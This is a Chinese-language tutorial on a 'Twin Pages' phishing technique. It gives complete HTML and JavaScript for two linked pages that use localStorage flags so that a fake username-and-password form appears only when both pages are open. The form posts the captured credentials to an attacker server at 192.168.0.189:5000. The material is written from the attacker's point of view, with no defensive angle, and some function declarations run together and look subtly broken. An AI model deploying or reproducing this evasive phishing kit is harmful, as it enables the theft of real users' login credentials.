简介

页面双生(Twin Pages)是一种网络钓鱼技术,攻击者通过创建两个相互依赖的网页——主页面和副页面,只有当目标同时打开这两个页面时,副页面才会动态渲染成钓鱼的登录网页。如果主页面或副页面单独打开,则显示正常的页面。页面双生技术利用了目标的浏览习惯和行为模式,使其难以察觉到正在进行的攻击。

构建页面

页面双生技术需要创建两个相互依赖的网页,只有当目标同时打开这两个页面时,副页面才会动态渲染成钓鱼的登录网页。

因此,我们首先需要编写main.html文件作为主页面。

<!DOCTYPE html>
<html>
<head>
    <title>Main Page</title>
    <script>
        functionmarkMainPageOpen() {
            window.name = 'main';
            localStorage.setItem('mainPageOpened', 'true');
        }

        functioncheckTwinPage() {
            if (localStorage.getItem('twinPageOpened') === 'true') {
                localStorage.setItem('showPhishing', 'true');
            }
        }

        window.onload = function() {
            markMainPageOpen();
            checkTwinPage();
            window.onbeforeunload = function() {
                localStorage.removeItem('mainPageOpened');
                localStorage.removeItem('showPhishing');
            };
        };
    </script>
</head>
<body>
    <h1>Welcome to the Main Page</h1>
</body>
</html>

主页面是一个正常的页面,显示合法内容,让用户看起来是个正常的网站。

然后,我们编写twin.html文件作为副页面。

<!DOCTYPE html>
<html>
<head>
    <title>Twin Page</title>
    <script>
        functionmarkTwinPageOpen() {
            window.name = 'twin';
            localStorage.setItem('twinPageOpened', 'true');
        }

        functioncheckMainPage() {
            if (localStorage.getItem('mainPageOpened') === 'true') {
                localStorage.setItem('showPhishing', 'true');
                document.getElementById('phishing-content').style.display = 'block';
            } else {
                document.getElementById('phishing-content').style.display = 'none';
                localStorage.removeItem('showPhishing');
            }
        }

        functioncheckPhishingDisplay() {
            if (localStorage.getItem('showPhishing') === 'true') {
                document.getElementById('phishing-content').style.display = 'block';
            } else {
                document.getElementById('phishing-content').style.display = 'none';
            }
        }

        window.onload = function() {
            markTwinPageOpen();
            checkMainPage();
            window.onbeforeunload = function() {
                localStorage.removeItem('twinPageOpened');
                localStorage.removeItem('showPhishing');
            };
        };

        setInterval(checkPhishingDisplay, 1000);
    </script>
</head>
<body>
    <h1>Welcome to the Twin Page</h1>
    <div id="phishing-content" style="display:none;">
        <form action="http://192.168.0.189:5000" method="post">
            <label for="username">Username:</label>
            <input type="text" id="username" name="username"><br>
            <label for="password">Password:</label>
            <input type="password" id="password" name="password"><br>
            <input type="submit" value="Login">
        </form>
    </div>
</body>
</html>

在代码中,主页面和副页面会通过localStorage标记自身是否打开,并在加载时检查相应的状态,确保单独打开时显示正常内容。

然后使用localStorage和window.name属性判断当两个页面同时打开时,副页面便会根据状态显示钓鱼内容。

接着在主页面和副页面的onbeforeunload事件中清除相应的标记,确保关闭主页面后,副页面恢复为正常内容。

最后在副页面中,通过setInterval定期检查状态,确保页面状态及时更新。

其中,http://192.168.0.189:5000是我们的服务器地址,用来接收登录凭据。

然后,我们单独访问副页面,可以看到也是正常的页面。

但是一旦同时打开主页面和副页面,副页面就会显示虚假的登录表单用于窃取登录凭据。

当用户在虚假的登录表单中输入登录凭据后,攻击者便会收到窃取到的登录凭据。

最后,如果关闭了主页面,我们的副页面会自动渲染为正常的合法页面。

通过利用页面双生技术,攻击者能够在目标毫无察觉的情况下,诱骗目标输入敏感信息并窃取这些信息。